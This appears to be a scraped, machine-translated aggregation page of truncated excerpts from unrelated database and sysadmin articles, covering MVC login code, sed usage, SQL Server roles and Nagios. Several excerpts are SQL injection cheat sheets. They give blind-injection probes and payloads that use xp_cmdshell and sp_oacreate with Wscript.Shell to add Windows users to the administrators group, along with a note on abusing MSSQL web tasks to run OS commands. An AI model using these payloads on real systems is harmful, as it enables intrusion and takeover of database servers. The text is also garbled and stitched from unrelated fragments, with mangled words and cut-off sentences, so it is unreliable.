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C # uses the MVC framework for login verification

("{resource}.axd/{*pathinfo}");Routes. MapRoute (Name: "Default",URL: "{controller}/{action}/{id}",defaults:new {controller = "Login", action = "Index", id = urlparameter.optional});}}}Step four: Browser access no problem, formally began to write content, first write the Models model section. Typically models contains entity classes, universal data access classes, Universal Database access classes (ADO)1. The entity class is written. Write the user Login entity class. Corresponds to a database

Microsoft SQL public Exploitation

Hacker note Note: Very old technology, mostly for sql2000 testing, not very effective for sql20051.Xp_runwebtask msdb. dbo. mswebtasksAllows the PUBLIC permission to perform INSERT, UPDATE, DELETE, and SELECT operations. Attackers who pass SQL SERVER Authentication can delete, insert, or update WEB tasks created by other users. In addition, attackers can run existing WEB tasks and perform various operations.May use the SQL Server Agent service account permission to execute arbitrary OS commands

SQL Injection Analysis (manual injection detection) and manual injection script command excellent Edition

not filtered during search'5. Determine the Database System; And (select count (*) from sysobjects)> 0 MSSQL; And (select count (*) from msysobjects)> 0 access6. Guess the database; and (select count (*) from [database name])> 07. Guess the field; and (select count (field name) from database name)> 08. Length of records in the guess field; and (select top 1 Len (field name) from database name)> 09. (1) obtain the ASCII value of a field (ACCESS); And (select top 1 ASC (mid (field name, 1, 1) fro

Frequently Used commands for MSSQL Injection

① Whether xp_cmdshell exists And 1 = (select count (*) from Master. DBO. sysobjects where xtype = 'X' and name = 'xp _ Your shell ') ② Run the command with xp_cmdshell ; Exec master.. xp_cmdshell "Net user name password/Add "--; Exec master.. xp_cmdshell "net localgroup name administrators/Add "-- ③ View Permissions And (select is_srvrolemember ('sysadmin') = 1 -- // SAAnd (select is_member ('db _ owner') = 1 -- //

Delete the worklist Error alert on the EBS Homepage

Delete the worklist Error alert on the EBS HomepageRefer To: How To Remove Error configurations From The Worklist (Doc ID 357904.1)1.1. Use one of the error configurations to get an item_type from the following select:Select message_type from wf_ications ications where ication_id _id = Select message_type from applsys. wf_ications ications where ication_id = 93885; -- WFERROR2. Use the following script to abort all error workflows that has currently configurications with status OPEN: DeclareCurs

First recognized sed (top)

by number: Sed-n 'n' P' employee.txt print the n rows sed-n 'n', m P' employee.txt print n to m rows (including the n rows) sed-'N, $ p 'employee.txt prints the nth row to the end of the row, $ indicates the end of the row sed-n 'n', + m P' employee.txt prints n to m rows, + m indicates printing m + n rows of sed-n 'n' ~ based on n ~ M p 'employee.txt 1 ~ 2 indicates 1, 3, 5, etc, 2 ~ 2 indicates copying code 2, 4, 6, etc. And so on. Specify through pattern matching: Sed-n'/John/p' empl

The storage engine must know-understand the job, owner, linked server, security context

Understanding jobs, owners, linked servers, security contextsThe SQL Server Agent service manages the job schedule and has an owner. The owner can be either a SQL Server logon name or a Windows NT account.The security context at which the job is run is determined by the owner of the job.If the job is owned by a member login that is not the sysadmin server role, it will run under the context of that owner.If the job is owned by an account that is a mem

SED series: Multi-Command execution

Syntax: #sed-e ' command '-e ' command ' filename Note:-e option is optional-sed with a single command. Sed would execute the each set of command while processing INPUT from the pattern buffer. Let's create the sample file first# cat Thegeekstuff.txt1. Linux-sysadmin, Scripting etc.2. Databases-oracle, MySQL etc.3. Hardware4. Security (Firewall, Network, Online security etc)5. Storage6. Cool Gadgets and websites7. Productivity (Too Many technologies t

Chapter 1 Securing Your Server and Network (14): Limited functionality--xp_cmdshell and OPENROWSET

@OLEResult = sp_OAMethod @FSO, ' DeleteFolder ', NULL, ' C: \ SqlData '; SELECT @OLEResult; EXECUTE @OLEResult = sp_OADestroy @FSO; Only members of the sysadmin server role can use these programs. The xp_cmdshell extended stored procedure allows access to the underlying operating system using T-SQL, such as: exec xp_cmdshell ' DIR c\*.* '; Restricting the permissions of these programs can protect the security of the server to some extent. More:Origi

PowerShell script development attempts to log on to SQL Server_powershell

; "} else {$Connection. ConnectionString = "server= $computerName; Initial catalog=master;trusted_connection=true;"}Try {$Connection. Open ()$Command = New-object System.Data.SQLClient.SQLCommand #创建SQLClient对象$Command. Connection = $Connection$Command. CommandText = "select * FROM Master. Sys.syslogins "#从syslogin表读取SQLServer登录账户$Reader = $Command. ExecuteReader ()$Counter = $Reader. FieldCountwhile ($Reader. Read ()) {$SQLObject = @{}for ($i = 0; $i-lt $Counter; $i + +) {$SQLObject. ADD ($Read

SQL Injection Summary

' and 0; DECLARE @shell INT exec sp_oacreate ' Wscript.Shell ', @shell OUTPUT exec sp_oamethod @shell, ' run ', null, ' C:\WINNT ystem32\c md.exe/c net user swap 5245886/add ' and 1= (SELECT COUNT (*) from master.dbo.sysobjects where xtype = ' X ' and name = ' xp_cmdshell ') ; EXEC master.dbo.sp_addextendedproc ' xp_cmdshell ', ' Xplog70.dll ' 1 = (%20select%20count (*)%20from%20master.dbo.sysobjects%20where%20xtype= ' x '%20and%20name= ' xp_cmdshell ') and 1= (select Is_srvrolemember ('

To cancel SQL Server database logon user permissions by using SQL statements

server| Data | database | user RIGHTS | statement REVOKE Deletes a permission that was previously granted or denied on a user in the current database. Grammar Statement permissions: REVOKE {ALL | statement [,... n]} from security_account [,... N] Object permissions: REVOKE [GRANT OPTION for] {all [privileges] | permission [,... n]} {[(column [,... N]]] on {TA ble | View} | On {table | view} [(column [,... n])] | on {stored_procedure | extended_procedure} | on {user_defined_function}} {to | fr

SQL Server server role

All server roles are "fixed" roles, and they exist from the start-all of the server roles you will have have existed since the moment the SQL Server was installed.RoleCharacteristicsSysadminThis role is capable of performing any operation on SQL Server. In essence, any person with this role membership is the SA on that server. The creation of this server role provided Microsoft with the ability to remove the sa login one day-in fact, Books Online referred to SA as essentially a relic. It is impo

SQL Server server-level roles

Label:Role in SQL Server is important, so be careful about its contents. The file is transferred from MS Official website. Https://msdn.microsoft.com/zh-cn/library/ms188659.aspx SQL Server provides server-level roles to help you manage permissions on the server. These roles are security principals that can be combined with other principals. Permission scopes for server-level roles are server-wide. ("role" is similar to "group" in Windows operating system.) ) The following table shows the fixed

hiding irrelevant databases in SQL Server

Database bgocreate login user_a with password= ' [e-mail protected] ' gocreate LOGIN user_b with Pass word= ' [email protected] ' Gouse agocreate USER user_a for login user_a; Goexec sp_addrolemember ' db_owner ', ' user_a ' gouse bgocreate user user_b for login user_bgoexec sp_addrolemember ' db_owner ', ' user_b 'Note:-do not make changes in PRODUCTION without PROPER TESTINGS on Lower-life CYCLE envirnomentshiding all user databases For all loginsSuppose want to hide all databases for all log

How to import the www.googleapis.com SSL CA certification to the JKs store file?

Assumed the installed JDK and configured Java_home for your The current operation system.(1) exported the Google SSL certifications from the www.googleapis.com server using 443 port as the below Path:take d:\g Ooglessl\ For example and named the These 3 CA certifications as below. Regarding on what to export thewww.googleapis.com Server SSL certification, please refer to this page http://blog.csdn.net /chan

51cto Big Data Training course

optimization (stability, high concurrency, load balancing, automatic failover)Architect (Project analysis, cloud computing hardware platform architecture, cloud computing enterprise Application selection and technology architecture)Employment and resume guidance Cloud computing: OpenStack |Virtualization |Cloud Platform |Office 365 |Cloud Services |Docker | Other Big Data: Spark |Hadoop |Storm |Hive |Yarn | Other Mobile development: Swift

Understand the RSA and DSA authentication process for OpenSSH

method is fairly secure, RSA and DSA certifications have created some new potential opportunities for us. However, unlike SSH Secure Password authentication, RSA authentication requires some initial configuration. We only need to perform these initial configuration steps once. After that, the RSA authentication between Localbox and Remotebox is effortless. To set up RSA authentication, we first have to generate a pair of keys, a private key, and a pu

OCA Certification Exam Guide (1z0-061) Oracle Database 12c SQL Foundation

grouping functions displaying data from multiple tables through a connection using subqueries to resolve issues using Set operators manipulating data using DML statements Creating and Managing tables using DDL statements As a translator roopesh ramklass,oracle Certified Master (OCM), specializes in infrastructure, middleware and database architecture technologies. Translator sequence In today's society, the certification of IT industry can add a lot to your resume. Oracle

Use Escalations to limit the number of Nagios alarms

@139.com // email } Define contactgroup { Contactgroup_name chengnan Alias Nagios Administrators Members chengnan } Define another contact. Define contact { Contact_name chengnan_cor Alias chengnan_cor Service_icationication_period 24x7 Host_icationication_period 24x7 Service_icationication_options w, u, c, r Host_icationication_options d, u, r Service_icationication_commands notify-service-by-email Host_icationication_commands notify-host-by-email Email chengnan@company.com // company email }

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